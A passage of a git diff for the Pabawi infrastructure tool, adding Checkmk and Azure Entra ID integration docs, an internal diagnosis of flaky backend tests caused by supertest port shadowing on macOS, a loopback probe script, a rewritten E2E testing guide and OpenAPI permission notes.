/domain-types/acknowledge/collections/service` on the Checkmk REST API. +- **Downtime** suppresses the service for a chosen window (1h / 2h / 4h / 8h / + 24h, max 7 days). A comment is required. Maps to + `POST /domain-types/downtime/collections/service`. + +Both actions are recorded in the Pabawi audit log with the acting user, the +target host/service, and the comment. + +In the problem list, services are visually distinguished: + +- **Acknowledged** services are dimmed with a `✓` marker. +- **In-downtime** services use a blue-grey tint with a `⏸ DT` badge (a distinct + treatment from acknowledgement). A service in downtime — whether through a + service downtime or an inherited host downtime — is detected via the + `scheduled_downtime_depth` and `host_scheduled_downtime_depth` columns. +- A **Hide downtime** toggle removes in-downtime services from the list. + +> **Note:** The Checkmk automation user must have write permissions in Checkmk +> (not just read) for acknowledge and downtime calls to succeed. A read-only +> automation user will return `403 Forbidden` upstream, surfaced in Pabawi as a +> `502` with the upstream error message. ## Error Handling diff --git a/docs/integrations/entra-id.md b/docs/integrations/entra-id.md new file mode 100644 index 00000000..1ce205f2 --- /dev/null +++ b/docs/integrations/entra-id.md @@ -0,0 +1,149 @@ +# Azure Entra ID Authentication + +Pabawi supports Azure Entra ID (formerly Azure AD) as a federated authentication provider via OpenID Connect. Users authenticate through their organization's Azure tenant and are automatically provisioned on first login. Group memberships can be mapped to Pabawi roles for centralized access control. + +## Prerequisites + +- Azure Entra ID tenant +- App registration in the Azure portal with: + - A client secret + - Redirect URI configured (e.g. `https://pabawi.example.com/api/auth/entra-id/callback`) + - `openid`, `profile`, and `email` permissions granted +- (Optional) Group claims configured in the token if using group-to-role mapping + +## Configuration + +```bash +ENTRA_ID_ENABLED=true +ENTRA_ID_TENANT_ID=12345678-abcd-efgh-ijkl-123456789012 +ENTRA_ID_CLIENT_ID=abcdef01-2345-6789-abcd-ef0123456789 +ENTRA_ID_CLIENT_SECRET=your-client-secret-value +ENTRA_ID_REDIRECT_URI=https://pabawi.example.com/api/auth/entra-id/callback + +# Optional +# ENTRA_ID_SCOPES=openid,profile,email +# ENTRA_ID_GROUP_MAPPING={"group-uuid-1":"administrator","group-uuid-2":"operator"} +# ENTRA_ID_POST_LOGOUT_REDIRECT_URI=https://pabawi.example.com +# ENTRA_ID_JWKS_CACHE_TTL_MS=86400000 +``` + +See [configuration.md](../configuration.md#azure-entra-id-sso) for the full variable reference. + +## Azure Portal Setup + +### 1. Register an Application + +1. Go to **Azure Portal → Microsoft Entra ID → App registrations → New registration** +2. Name: e.g. "Pabawi SSO" +3. Supported account types: "Accounts in this organizational directory only" (single tenant) +4. Redirect URI: Web → `https://your-pabawi-host/api/auth/entra-id/callback` +5. Click **Register** + +### 2. Configure Client Secret + +1. In the app registration → **Certificates & secrets → New client secret** +2. Set a description and expiry +3. Copy the **Value** (shown only once) → use as `ENTRA_ID_CLIENT_SECRET` + +### 3. Configure API Permissions + +1. Go to **API permissions → Add a permission → Microsoft Graph → Delegated permissions** +2. Add: `openid`, `profile`, `email` +3. If using group-to-role mapping, also add `GroupMember.Read.All` (requires admin consent) +4. Click **Grant admin consent** + +### 4. Configure Token Claims (Optional) + +For group-to-role mapping: + +1. Go to **Token configuration → Add groups claim** +2. Select "Security groups" and/or "All groups" +3. Under "ID token", ensure "Group ID" is selected + +### 5. Note Required Values + +From the app registration's **Overview** page: + +- **Application (client) ID** → `ENTRA_ID_CLIENT_ID` +- **Directory (tenant) ID** → `ENTRA_ID_TENANT_ID` + +## Authentication Flow + +``` +User → "Sign in with Microsoft" → Pabawi backend → 302 redirect to Microsoft login +Microsoft login → user authenticates → callback to Pabawi with authorization code +Pabawi → exchanges code for ID token → validates token → provisions user → issues Pabawi JWT +``` + +The flow uses OAuth 2.0 Authorization Code with PKCE (S256). State, nonce, and code verifier are stored server-side with a 10-minute TTL. + +## User Provisioning + +On first SSO login: + +1. If a Pabawi user with the same email already exists, the Entra ID identity is **linked** to that account. The existing password remains valid for local login. +2. If no matching user exists, a new account is created with: + - Username derived from `preferred_username` or email local-part + - No password (federation-only — cannot use local login) + - Default viewer role assigned + - Active status + +On subsequent logins, the existing account is used without modifying stored profile data. + +## Group-to-Role Mapping + +Map Azure group object IDs to Pabawi role names: + +```bash +ENTRA_ID_GROUP_MAPPING={"e5f3a1b2-...":"administrator","c7d8e9f0-...":"operator"} +``` + +Behavior: + +- Groups present in the token claim → corresponding Pabawi roles are assigned +- Groups removed since last login → corresponding mapped roles are revoked +- Roles assigned outside the mapping (manually) → preserved unchanged +- Mapping references a non-existent Pabawi role → warning logged, entry skipped +- No `groups` claim in token → no role changes made + +Group IDs are matched case-insensitively (UUIDs). + +## Logout + +When a user who authenticated via Entra ID logs out: + +1. Pabawi revokes the access and refresh tokens +2. The logout response includes an `entraIdLogoutUrl` +3. The frontend redirects to that URL for single sign-out at Microsoft +4. After Microsoft logout, the browser redirects to `ENTRA_ID_POST_LOGOUT_REDIRECT_URI` + +## Coexistence with Local Auth + +Both authentication methods work simultaneously: + +- The login page shows "Sign in with Microsoft" alongside the local login form +- Users with linked accounts can use either method +- Federation-only users (no password) must use SSO +- JWT tokens are identical regardless of auth method — middleware sees no difference + +## Security + +- PKCE (S256) on every authorization request +- State and nonce validated on every callback +- ID token signatures verified against JWKS keys (cached 24h by default) +- Single-use authorization codes (60s TTL) for frontend token delivery +- Clock skew tolerance: 5 minutes for token expiry +- Client secret, authorization codes, and tokens are never logged + +## Troubleshooting + +| Symptom | Cause | Fix | +|---|---|---| +| 404 on `/api/auth/entra-id/login` | `ENTRA_ID_ENABLED` not set to `"true"` | Check `.env` value is exactly `true` | +| `INVALID_STATE` on callback | State expired (>10 min) or browser cookies issue | Retry login; check server clock | +| `TOKEN_EXCHANGE_FAILED` | Network issue or invalid client secret | Verify `ENTRA_ID_CLIENT_SECRET`; check connectivity to `login.microsoftonline.com` | +| `INVALID_ID_TOKEN` | Tenant/client ID mismatch or clock skew | Verify `ENTRA_ID_TENANT_ID` and `ENTRA_ID_CLIENT_ID` match the app registration | +| `MISSING_CLAIMS` | App registration missing `email` or `profile` scope | Add permissions in Azure portal and grant admin consent | +| `JWKS_UNAVAILABLE` | Cannot reach Microsoft's key endpoint | Check outbound HTTPS; keys are cached so transient failures are tolerated | +| Group roles not syncing | No `groups` claim in token | Configure group claims in Token configuration (Azure portal) | +| Config validation error at startup | Missing required variables | Set all of: `TENANT_ID`, `CLIENT_ID`, `CLIENT_SECRET`, `REDIRECT_URI` | diff --git a/docs/internal/backend-test-flakiness.md b/docs/internal/backend-test-flakiness.md new file mode 100644 index 00000000..e20cd0f7 --- /dev/null +++ b/docs/internal/backend-test-flakiness.md @@ -0,0 +1,256 @@ +# Backend test flakiness — diagnosis + +Backend suite: 208 files / 3339 tests. Fails nondeterministically on an +**unmodified** config — different tests each run. Investigated on branch 150. + +Observed baseline (clean config): runs produced 0, 1, 1, 3, 3, 4, 5 failures with +largely disjoint failing sets. + +**Status: root-caused and fixed.** There were three independent causes, not one. +Cause B — the cluster previously filed as "narrowed by elimination, not +root-caused" — turned out not to be a timing problem at all. + +--- + +## Cause A — Bolt tests were cwd-dependent (PROVEN, deterministic) — FIXED + +**Not flakiness.** `test/integration/bolt-plugin-integration.test.ts`: + + const boltProjectPath = process.env.BOLT_PROJECT_PATH || "./bolt-project"; + +`./bolt-project` resolved against the **process working directory**. Vitest +workers inherit the *launch* directory as cwd — it does NOT follow the project +root (verified with a probe test: launching from `backend/` gives +`CWD=/backend`, launching from the repo root gives `CWD=`). + +- `/backend/bolt-project` — does not exist -> inventory errors -> `unavailable` -> passed +- `/bolt-project` — **exists** -> inventory succeeds -> `healthy` -> failed + +Correlation over 10 recorded suite runs was perfect: every run launched from +`backend/` passed these tests; every run launched from the repo root failed them. + +Three assertions (`:279`, `:418`, `:529`) required Bolt to be UNAVAILABLE while +their own guard (`if (!boltAvailable) return;`) meant the body only ran when Bolt +WAS available. They passed only because the fallback project path happened not to +exist. Setting `BOLT_PROJECT_PATH` to any real Bolt project — which the +developer's own `.env` supplies — produced 6 failed / 17 passed. + +### Fix + +1. The fallback path is resolved against the test file's own location, not cwd, + so the launch directory no longer changes the result. +2. The three degradation assertions now use a **separate `IntegrationManager` + wired to a project path that cannot exist** (`brokenManager`). "Bolt is + failing" became a property of the fixture instead of an accident of the + environment, and the assertions now match their stated intent. + +Verified: passes from `backend/` **and** from the repo root (previously 3 failed). + +### Known remaining condition (by design, not a defect) + +With `BOLT_PROJECT_PATH` pointing at a **real** Bolt project, three +facts-gathering tests still fail — they now genuinely execute against the real +inventory's nodes and cannot reach them. That is inherent to running an +integration test against live infrastructure, not a test bug. Down from 6 +failures to 3, and the remaining 3 no longer misrepresent what they assert. + +### Note on the old suggestion #2 + +"Stop `ConfigService` reading `.env` when `NODE_ENV === 'test'`" was already +implemented (`src/config/ConfigService.ts:24`). Only an explicitly exported +`BOLT_PROJECT_PATH` reaches tests, not the `.env` file. + +--- + +## Cause B — supertest port shadowing by unrelated applications (PROVEN) — FIXED + +Affected: `consoleRbacTermination.property`, `consoleRbacCreation.property`, +`users`, `auth`, `EntraIdProviders`, `error-handling`, `rbac-performance`, +`batch-execution`, `permissions`, `groups`. + +Symptoms: `expected 204, got 401`; `expected 200, got 404`; `expected 200/404, +got 426 "Upgrade Required"`; `socket hang up`; property tests failing after a +varying iteration count (3, 8, 12, 34, 36, 45, 86, 94) with `Shrunk 0 time(s)`. + +### The mechanism + +`request(app)` makes supertest call `app.listen(0)` and then connect to +`127.0.0.1:` — a **fresh listening socket for every single request** +(`node_modules/supertest/lib/test.js:63`). On macOS that is unsafe: + +1. `listen(0)` with no host binds the **wildcard** address (`::`). Verified: + `server.address()` reports `{"address":"::","family":"IPv6"}`. +2. macOS allocates ephemeral ports from **49152–65535** + (`net.inet.ip.portrange.first/last`) — the same range in which unrelated + desktop applications hold long-lived listeners bound specifically to + `127.0.0.1`. +3. A wildcard bind on a port already held on `127.0.0.1` **succeeds** — the two + sockets coexist. But the more specific bind wins for incoming connections. +4. supertest then connects to `127.0.0.1:` and its request is served by + **the foreign application**. + +The test receives a plausible, well-formed HTTP response its app never produced. +No error, no stack trace — just a wrong status code. + +### Proof + +`docs/internal/port-shadowing-probe.cjs` reproduces it directly. It replicates +the supertest lifecycle (listen(0) → read port → connect → close) with each +server answering with its own unique id, and reports every response that came +back with someone else's id. + +8 processes × 4000 requests → **26 misroutes**, each mapping to a real process +on the machine (via `lsof -nP -iTCP -sTCP:LISTEN`): + +| Port | Foreign owner | Response the test saw | +|-------|---------------|-----------------------| +| 49152 | Ollama | `200` + `` | +| 49538, 60306, 61008 | Kiro Helper | `426 Upgrade Required`, `404 Not Found` | +| 57668, 58755 | Code Helper | `401 {"type":"authentication_error"…}`, `404` | +| 59863, 63975 | (unnamed) | `401 unauthorized\n` | + +`426 Upgrade Required` appears **nowhere in this codebase** — it is `ws`'s reply +to a non-upgrade request. That response could only have come from another +process, which is what first made this conclusive. + +Rate at realistic volume: **7 misroutes in 9600 requests (~0.07%)**. A full suite +run issues ~10k HTTP requests, so the expected yield is 0–8 failures per run on +a disjoint, random set of tests — exactly the observed baseline. + +### Why the earlier elimination round missed it + +The old "ruled out" table dismissed port collision because the suite failed just +as often with `--maxWorkers=1 --fileParallelism=false`. That reasoning assumed +the collision was **between vitest workers**. It is not — it is with *unrelated +applications on the machine*, which is precisely why serializing workers changed +nothing. Every other row in that table was correct but irrelevant; the remaining +"load-sensitive timing" hypothesis was wrong. + +### Why CI never showed this + +No Cause-B-shaped failure appears anywhere in the CI history examined. The two +failing runs on record (`32973348229`, `29428810351`, six weeks apart) failed +with the **identical three tests** — the property-test timeouts, unrelated to +this — and 204 files green both times. + +Caveat: that is two data points, both on branch 150, both failing for the same +unrelated reason. The mechanism argues the same way — Linux's ephemeral range +starts at 32768 and a GHA runner binds almost nothing in it — but that was +reasoned, not measured on a runner. Treat "Cause B is a local-development +problem" as well-supported, not proven. + +### Fix + +`test/helpers/httpHarness.ts` binds **one server per test file, explicitly to +`127.0.0.1`**, and swaps the mounted handler per request: + + let harness: HttpHarness; + beforeAll(async () => { harness = await createHttpHarness(); }); + afterAll(async () => { await harness.close(); }); + + await request(harness.use(app)).get("/api/…").expect(200); + +Binding explicitly to loopback makes the kernel see the real conflict, so it +never hands out a shadowed port. Measured with the same probe: **0 misroutes in +9600 requests**, versus 7 unfixed. + +Verified that the mechanism actually engages, rather than inferring it from a +green suite: with `net.Server.prototype.listen` instrumented, a full run of +`test/routes/auth.test.ts` — 204 supertest requests — performs exactly **one** +`listen()` call, `port=0 host=127.0.0.1`. Before the change that was 204 +wildcard binds. + +Two constraints shaped this design: + +- **A drop-in patch is not possible.** `listen(0, "127.0.0.1")` resolves the host + via `dns.lookup`, so `server.address()` returns `null` until a later tick, and + supertest reads the port synchronously. Passing an already-listening server is + the supported way out: supertest skips its own `listen(0)` when + `app.address()` is truthy, and only closes servers it opened itself + (`lib/test.js:134-145`). +- **One server per file, not per app.** Per-request bind/close churn on loopback + exhausts the ephemeral range — the probe hit `EADDRNOTAVAIL` 1949 times at + high volume. Swapping the handler also keeps property tests that build a fresh + Express app per iteration down to one socket instead of hundreds. + +### One consequence worth knowing + +`afterAll` sets the mounted handler back to `null` and closes the server. A +request issued after that — from a stray cleanup path or a dangling promise — +gets `503 httpHarness: no app mounted` rather than a connection error. If a +converted file ever shows an inexplicable 503, that is the source. + +### Coverage + +**All 41 supertest files are converted** — there are no remaining bare +`request(app)` call sites. A partial conversion was tried first, scoped to the +files carrying the request volume; a verification run then failed in +`puppetserver-catalogs-environments.test.ts` (`expected 200, got 401`) — an +unconverted file, with the exact Cause B signature. The tail bites, so the +conversion was completed. + +Three call shapes needed handling beyond the plain `request(app)` form: +`request(buildApp(rbac))` (call-expression argument), files relying on vitest +globals with no `vitest` import, and files doing +`const request = (await import("supertest")).default` inside the test body. + +`test/routes/auth.test.ts.backup` is stray cruft — not matched by the include +glob, not converted, and worth deleting. + +--- + +## Cause C — a deterministic domain bug in a property test — FIXED + +`test/properties/consoleConfig.property.test.ts` > +`valid positive integers → correctly parsed`. + +Failed in 2 of 5 baseline runs, after a varying iteration count (12, 34) — which +looked like flakiness. It was not: both runs reported the **same counterexample**, +`["CONSOLE_SESSION_TIMEOUT_MS", "1"]`. It only appeared intermittently because +fast-check reseeds each run. + +The setup tried to keep heartbeat below timeout with: + + process.env.CONSOLE_HEARTBEAT_INTERVAL_MS = String(Math.max(1, timeout - 1)); + +With `timeout === 1` that yields `heartbeat === 1`, and `ConfigService` reverts +**both** fields to defaults when `heartbeatIntervalMs >= sessionTimeoutMs` +(`src/config/ConfigService.ts:96`) — tripping the exact revert the line existed +to avoid. A timeout of 1 admits no valid heartbeat, so the input is outside the +property's domain; it is now discarded with `fc.pre(timeout > 1)` rather than +clamped. Verified across 10 fresh seeds. + +--- + +## Unrelated: three property tests timing out (CI-visible) — FIXED + +The only failures CI ever showed, identical across runs six weeks apart: + +- `EntraIdCallback.property` × 2 — called `generateTestKeyPair()` (RSA-2048) + *inside* the property body, 100× per test. Hoisted to module scope alongside + the existing `primaryKey`. 5000ms+ → ~58ms. +- `consoleBinaryRelay.property` — `collectMessages()` never removed its + listeners, so every one of 100 runs tore down and rebuilt the entire fixture + (2 HTTP servers + 4 WebSockets). Listeners now detach on settle, the rebuild is + gone, and `collectMessages`' own hardcoded 5000ms budget (a second timeout + racing vitest's) was raised alongside an explicit 60s test timeout. + +Note for anyone tempted to speed that file up further: `binaryBufferArb`'s +`.chain()` over a uniform size is deliberate. A bare +`fc.uint8Array({ maxLength: 65536 })` applies fast-check's default size bias and +generates buffers of **12 bytes max** (measured: 3.4KB total across 100 runs, vs +14.5MB for `.chain()`), which never reach the `ws` fragmentation and buffering +paths the property exists to cover. + +--- + +## Reproduction + + node docs/internal/port-shadowing-probe.cjs + # e.g. 8 concurrent workers, 4000 requests each: + for w in 1 2 3 4 5 6 7 8; do node docs/internal/port-shadowing-probe.cjs $w 4000 & done; wait + +Any `MISMATCH` line is a request that reached a foreign server. Cross-reference +the port with `lsof -nP -iTCP -sTCP:LISTEN` to identify the owner. Expect zero +mismatches only if nothing else on the machine holds loopback ports in +49152–65535 — on a typical developer Mac, several things do. diff --git a/docs/internal/e2e-testing.md b/docs/internal/e2e-testing.md index 3182be31..ac2c0009 100644 --- a/docs/internal/e2e-testing.md +++ b/docs/internal/e2e-testing.md @@ -2,342 +2,116 @@ ## Overview -Pabawi includes comprehensive end-to-end (E2E) tests using Playwright to validate critical user flows through the application. These tests simulate real user interactions with the web interface. +Pabawi runs a single Playwright suite, [`e2e/setup-check.spec.ts`](../../e2e/setup-check.spec.ts). +It is a smoke test of the unauthenticated contract, not a user-flow suite. -## Test Coverage +## Current coverage -The E2E test suite covers the following critical user flows: +| Test | Asserts | +| --- | --- | +| serves the SPA shell | `GET /` returns 200 and the document title matches Pabawi | +| renders the sign-in form when unauthenticated | heading, username field, password field, submit button are visible | +| sends an unauthenticated deep link to the sign-in form | `/executions` renders the sign-in form rather than the page | +| rejects unauthenticated API reads with 401 | `GET /api/inventory` answers 401 | -### 1. Inventory to Command Execution +Together these cover: the backend boots, static assets are served, the SPA +mounts and routes, the frontend auth guard holds, and `authMiddleware` is +actually mounted on protected routes. -- Navigate from inventory page to node detail -- Execute commands on target nodes -- View command output (stdout, stderr, exit code) -- Handle command execution errors +The suite is hermetic — no seeded user, no database fixture, no reachable Bolt +or PuppetDB inventory — so it runs on any checkout in about a second. -### 2. Inventory to Facts Gathering - -- Navigate from inventory page to node detail -- Gather system facts from target nodes -- Display facts in readable format -- Handle unreachable nodes gracefully - -### 3. Inventory to Task Execution - -- Navigate from inventory page to node detail -- Select and execute Bolt tasks -- Configure task parameters dynamically -- Validate required parameters - -### 4. Executions Page - -- View execution history -- Filter executions by status -- View detailed execution results -- Display summary statistics -- Paginate through results - -## Prerequisites - -Before running E2E tests, ensure: - -1. **Bolt CLI is installed** and available in PATH -2. **Valid Bolt inventory** exists at `bolt-project/inventory.yaml` -3. **At least one node** is defined in the inventory -4. **Backend and frontend are built** (or will be built automatically) -5. **Port 3000 is available** (or configure a different port) - -## Installation - -Playwright and its dependencies are installed as part of the project setup: - -```bash -npm install -npm rebuild --ignore-scripts=false -``` - -To install Playwright browsers: - -```bash -npx playwright install chromium --with-deps -``` - -## Running Tests - -### Run All E2E Tests - -```bash -npm run test:e2e -``` - -This runs all tests in headless mode and generates an HTML report. - -### Interactive UI Mode - -```bash -npm run test:e2e:ui -``` - -Opens Playwright's interactive UI where you can: - -- Run tests individually -- See test execution in real-time -- Debug failing tests -- View traces and screenshots - -### Headed Mode (Visible Browser) +## Running ```bash -npm run test:e2e:headed +npm run test:e2e # headless +npm run test:e2e:ui # interactive +npm run test:e2e:headed # visible browser +npm run test:e2e:debug # step through +npx playwright test e2e/setup-check.spec.ts:18 # a single test by line +npx playwright show-report # HTML report after a run ``` -Runs tests with a visible browser window, useful for debugging. - -### Debug Mode - -```bash -npm run test:e2e:debug -``` +Playwright starts the app itself via `webServer` (`npm run dev:fullstack`, +port 3000) and reuses an already-running server unless `CI=true`. -Runs tests in debug mode with Playwright Inspector for step-by-step debugging. +### Browser binaries -### Run Specific Test File +The chromium revision is pinned by the installed `playwright-core`, not by +whatever is already in `~/Library/Caches/ms-playwright`. A cache holding only +another revision fails every test with: -```bash -npx playwright test e2e/inventory-to-command.spec.ts ``` - -### Run Tests Matching a Pattern - -```bash -npx playwright test --grep "command execution" +Executable doesn't exist at .../chromium_headless_shell-/... ``` -### Run Single Test +Fix with `npx playwright install chromium`. In CI use +`npx playwright install --with-deps chromium`. -```bash -npx playwright test e2e/inventory-to-command.spec.ts:12 -``` +## Not in CI -## Test Reports +`.github/workflows/ci.yml` runs lint, both typechecks, unit tests and both +builds. It does not run this suite. Wire it in before relying on it as a gate — +an E2E suite nobody runs drifts out of sync with the UI within a release or two. -After running tests, view the HTML report: +## History: why the flow suites were deleted -```bash -npx playwright show-report -``` - -The report includes: +`e2e/` previously held four suites — `inventory-to-command`, +`inventory-to-facts`, `inventory-to-task` and `executions-page`, 13 tests +across 4 files. All were removed. They were written before authentication +existed and had two structural defects that made their results meaningless: -- Test results with pass/fail status -- Screenshots of failures -- Execution traces for debugging -- Timeline of test execution +**They targeted a UI that was never built.** The specs selected on 17 +`data-testid` values; the frontend defines 4, with zero overlap. Every selector +fell through to a substring fallback such as `[class*="node"]` or +`[class*="output"]`, which match on utility-class fragments and pin nothing. -## Configuration +**They wrapped assertions in conditionals.** The recurring shape was: -E2E tests are configured in `playwright.config.ts`: - -```typescript -{ - testDir: './e2e', - baseURL: 'http://localhost:3000', - webServer: { - command: 'npm run dev:fullstack', - url: 'http://localhost:3000', - timeout: 120000 - } +```ts +if (await executionsLink.isVisible()) { + ...real assertions... +} else { + await page.goto('/executions'); + expect(pageContent).toMatch(/executions|history|no executions/i); } ``` -### Customizing Configuration - -To change the base URL: - -```bash -BASE_URL=http://localhost:8080 npm run test:e2e -``` - -To skip automatic server startup (if server is already running): - -```bash -npx playwright test --config=playwright.config.ts -``` - -## Writing New Tests - -When adding new E2E tests: - -1. Create a new `.spec.ts` file in the `e2e/` directory -2. Use descriptive test names -3. Add appropriate selectors (prefer `data-testid`) -4. Include error handling scenarios -5. Document which requirements the test validates - -Example: - -```typescript -import { test, expect } from '@playwright/test'; - -test.describe('My Feature', () => { - test('should perform user action', async ({ page }) => { - await page.goto('/'); - - // Wait for element - await expect(page.locator('[data-testid="my-element"]')).toBeVisible(); - - // Interact with element - await page.locator('[data-testid="my-button"]').click(); - - // Verify result - await expect(page.locator('[data-testid="result"]')).toContainText('Success'); - }); -}); -``` - -## Troubleshooting - -### Tests Fail with "Target closed" Error - -**Cause:** Server didn't start properly. - -**Solution:** - -- Verify backend and frontend build successfully -- Check that port 3000 is not in use -- Ensure Bolt configuration is valid - -### Tests Timeout Waiting for Elements - -**Cause:** UI elements have changed or are slow to load. - -**Solution:** - -- Update selectors to match current UI -- Increase timeout for slow operations -- Check browser console for errors - -### Server Doesn't Start - -**Cause:** Configuration or dependency issues. - -**Solution:** - -- Run `npm run build` manually to check for errors -- Verify all dependencies are installed -- Check `playwright.config.ts` web server configuration - -### Tests Pass Locally but Fail in CI - -**Cause:** Environment differences. - -**Solution:** - -- Set `CI=true` environment variable -- Install system dependencies: `npx playwright install --with-deps` -- Increase timeouts for slower CI environments - -## CI/CD Integration - -To run E2E tests in CI/CD pipelines: - -```bash -# Install and rebuild native modules -npm install -npm rebuild bcrypt sqlite3 ssh2 --ignore-scripts=false -npx playwright install --with-deps chromium - -# Run tests -CI=true npm run test:e2e -``` - -### GitHub Actions Example - -```yaml -- name: Install dependencies - run: | - npm install - npm rebuild bcrypt sqlite3 ssh2 --ignore-scripts=false - -- name: Install Playwright browsers - run: npx playwright install --with-deps chromium - -- name: Run E2E tests - run: npm run test:e2e - env: - CI: true - -- name: Upload test results - if: always() - uses: actions/upload-artifact@v3 - with: - name: playwright-report - path: playwright-report/ -``` - -## Test Data - -E2E tests use the actual Bolt inventory and configuration. Ensure: - -- **At least one node** is defined in `bolt-project/inventory.yaml` -- **Nodes are reachable** (or tests handle unreachable nodes gracefully) -- **Command whitelist** allows basic commands like `pwd`, `echo` -- **Tasks are available** in Bolt modules - -## Best Practices - -1. **Use data-testid attributes** for reliable selectors -2. **Test user flows**, not implementation details -3. **Handle async operations** with proper waits -4. **Test error scenarios** as well as happy paths -5. **Keep tests independent** - each test should work in isolation -6. **Use descriptive test names** that explain the user flow -7. **Add comments** to explain complex test logic -8. **Clean up after tests** if they create data - -## Performance - -E2E tests can be slow. To optimize: - -- Run tests in parallel (default in Playwright) -- Use `--grep` to run specific tests during development -- Mock external dependencies when possible -- Use `--headed` only when debugging -- Consider running full suite only in CI - -## Limitations - -Current E2E tests have some limitations: - -- **Require real Bolt setup** - tests use actual Bolt CLI and inventory -- **Network dependent** - tests may fail if nodes are unreachable -- **No mocking** - tests interact with real backend and Bolt -- **Limited browser coverage** - only Chromium is configured - -## Future Enhancements - -Potential improvements: - -- Add Firefox and Safari browser testing -- Mock Bolt CLI responses for faster tests -- Add visual regression testing -- Test expert mode features -- Test realtime streaming output -- Add accessibility testing -- Add performance testing - -## Support - -For issues with E2E tests: - -1. Check the [troubleshooting section](#troubleshooting) -2. Review test logs and screenshots in `test-results/` -3. Run tests in debug mode: `npm run test:e2e:debug` -4. Check Playwright documentation: - -## Related Documentation - -- [E2E Tests README](../e2e/README.md) - Detailed test documentation -- [User Guide](user-guide.md) - Application usage guide -- [API Documentation](api.md) - API endpoint reference -- [Troubleshooting Guide](troubleshooting.md) - Common issues and solutions +Once login was introduced the link was never visible, so the else branch was +always taken. All five `executions-page` tests reported green while the browser +sat on the sign-in screen, having verified nothing. False green is worse than +red: red reports a problem, green hides one. + +They were also non-hermetic — `inventory-to-command` executed `pwd` against +whatever real hosts `BOLT_PROJECT_PATH` pointed at. + +## Extending past the login screen + +Authenticated tests are worth adding, but not before the harness underneath +them is real. Required, in order: + +1. **Isolate the backend.** Set `webServer.env` in `playwright.config.ts` to + override `DATABASE_PATH` to a scratch file and `BOLT_PROJECT_PATH` to the + checked-in `samples/integrations/bolt` fixture. Without this the suite runs + against the developer's own dev database and live infrastructure. +2. **Seed and authenticate once.** Add a Playwright setup project that creates + the admin via `POST /api/setup/initialize`, logs in via + `POST /api/auth/login`, and saves `storageState`. The frontend reads its + token from `localStorage` under `authToken` (also `refreshToken`, `authUser`). +3. **Add real selectors.** Put `data-testid` on the specific elements the tests + touch and select only on those, or use accessible-name selectors + (`getByRole`, `getByLabel`, `getByPlaceholder`) as `setup-check` does. +4. **Add the CI step**, so the suite cannot rot unnoticed. + +## Rules for new tests + +1. **Assert unconditionally.** No `if (visible) { assert } else { weaker assert }`. + If a precondition may be absent, fix the fixture or fail — never branch into + a softer claim. +2. **Select on contracts, not fragments.** `getByRole` / `getByLabel` / + `getByPlaceholder` / `data-testid`. Never substring-match a class attribute. +3. **Verify the test can fail.** After writing it, break the expectation on + purpose and confirm it goes red. An assertion never observed failing is an + assertion not known to work. +4. **Stay hermetic.** A test that needs a reachable production host belongs in + manual integration checks, not here. diff --git a/docs/internal/port-shadowing-probe.cjs b/docs/internal/port-shadowing-probe.cjs new file mode 100644 index 00000000..dab7a54e --- /dev/null +++ b/docs/internal/port-shadowing-probe.cjs @@ -0,0 +1,45 @@ +// Reproduce the supertest lifecycle: listen(0) -> read port -> connect -> close. +// Every server answers with its OWN unique id. If a client ever reads an id that +// is not the one it just created, the request reached a foreign server. +const http = require('http'); + +const ID = `${process.pid}-${process.argv[2] || '0'}`; +let n = 0, mismatches = 0, errors = {}; + +function once() { + return new Promise((resolve) => { + const myId = `${ID}-${n++}`; + const server = http.createServer((req, res) => { + res.writeHead(200, { 'content-type': 'text/plain' }); + res.end(myId); + }); + // This is exactly what supertest does: listen(0), then read the port + // synchronously and issue the request. + server.listen(0); + const port = server.address().port; + const req = http.request({ host: '127.0.0.1', port, path: '/x', agent: false }, (res) => { + let body = ''; + res.on('data', (c) => (body += c)); + res.on('end', () => { + if (body !== myId) { + mismatches++; + console.log(`MISMATCH pid=${process.pid} port=${port} status=${res.statusCode} expected=${myId} got=${JSON.stringify(body.slice(0, 60))}`); + } + server.close(); + resolve(); + }); + }); + req.on('error', (e) => { + errors[e.code] = (errors[e.code] || 0) + 1; + server.close(); + resolve(); + }); + req.end(); + }); +} + +(async () => { + const N = Number(process.argv[3] || 4000); + for (let i = 0; i < N; i++) await once(); + console.log(`pid=${process.pid} done requests=${N} mismatches=${mismatches} errors=${JSON.stringify(errors)}`); +})(); diff --git a/docs/openapi.yaml b/docs/openapi.yaml index 72698b71..76f4ec06 100644 --- a/docs/openapi.yaml +++ b/docs/openapi.yaml @@ -141,7 +141,11 @@ paths: /config: get: summary: Get system configuration - description: Retrieve system configuration (excluding sensitive values) + description: >- + Retrieve system configuration (excluding sensitive values). The + `commandWhitelist` object is returned only to callers holding + `bolt:execute`; other authenticated users receive `executionTimeout` + only. tags: - System responses: @@ -154,6 +158,9 @@ paths: properties: commandWhitelist: type: object + description: >- + Command whitelist policy. Present only for callers with + the `bolt:execute` permission. properties: allowAll: type: boolean @@ -1788,6 +1795,10 @@ paths: description: | Trigger re-execution of a previous execution with preserved parameters. Allows modification of parameters through request body. + + Requires the `bolt:execute` permission. Command-type re-executions are + validated against the command whitelist (shell metacharacters are always + rejected). tags: - Executions parameters: @@ -1830,6 +1841,14 @@ paths: $ref: '#/components/schemas/ExecutionRecord' message: type: string + '403': + description: >- + Missing `bolt:execute` permission, or the command was rejected by + the whitelist (`COMMAND_NOT_ALLOWED`). + content: + application/json: + schema: + $ref: '#/components/schemas/Error' '404': description: Original execution not found content: @@ -1932,7 +1951,9 @@ paths: /executions/{id}/cancel: post: summary: Cancel execution - description: Cancel or abort a running or stuck execution + description: >- + Cancel or abort a running or stuck execution. Requires the + `bolt:execute` permission. tags: - Executions parameters: @@ -1945,6 +1966,12 @@ paths: responses: '200': description: Cancellation requested + '403': + description: Missing `bolt:execute` permission + content: + application/json: + schema: + $ref: '#/components/schemas/Error' '404': description: Execution not found content: diff --git a/docs/permissions-rbac.md b/docs/permissions-rbac.md index 899b7d76..1a2aca37 100644 --- a/docs/permissions-rbac.md +++ b/docs/permissions-rbac.md @@ -2,6 +2,27 @@ Pabawi uses Role-Based Access Control (RBAC) when `AUTH_ENABLED=true`. Users are assigned roles. Roles contain permissions. Permissions gate specific actions. +## Authentication Methods + +Pabawi supports two authentication methods that can work simultaneously: + +- **Local authentication** — username/password login, always available +- **Azure Entra ID SSO** — federated login via OpenID Connect (optional, see [integrations/entra-id.md](./integrations/entra-id.md)) + +Both methods issue identical Pabawi JWT tokens. The RBAC middleware makes no distinction between authentication origins — permissions are determined by the user's assigned roles regardless of how they logged in. + +### Federated Users + 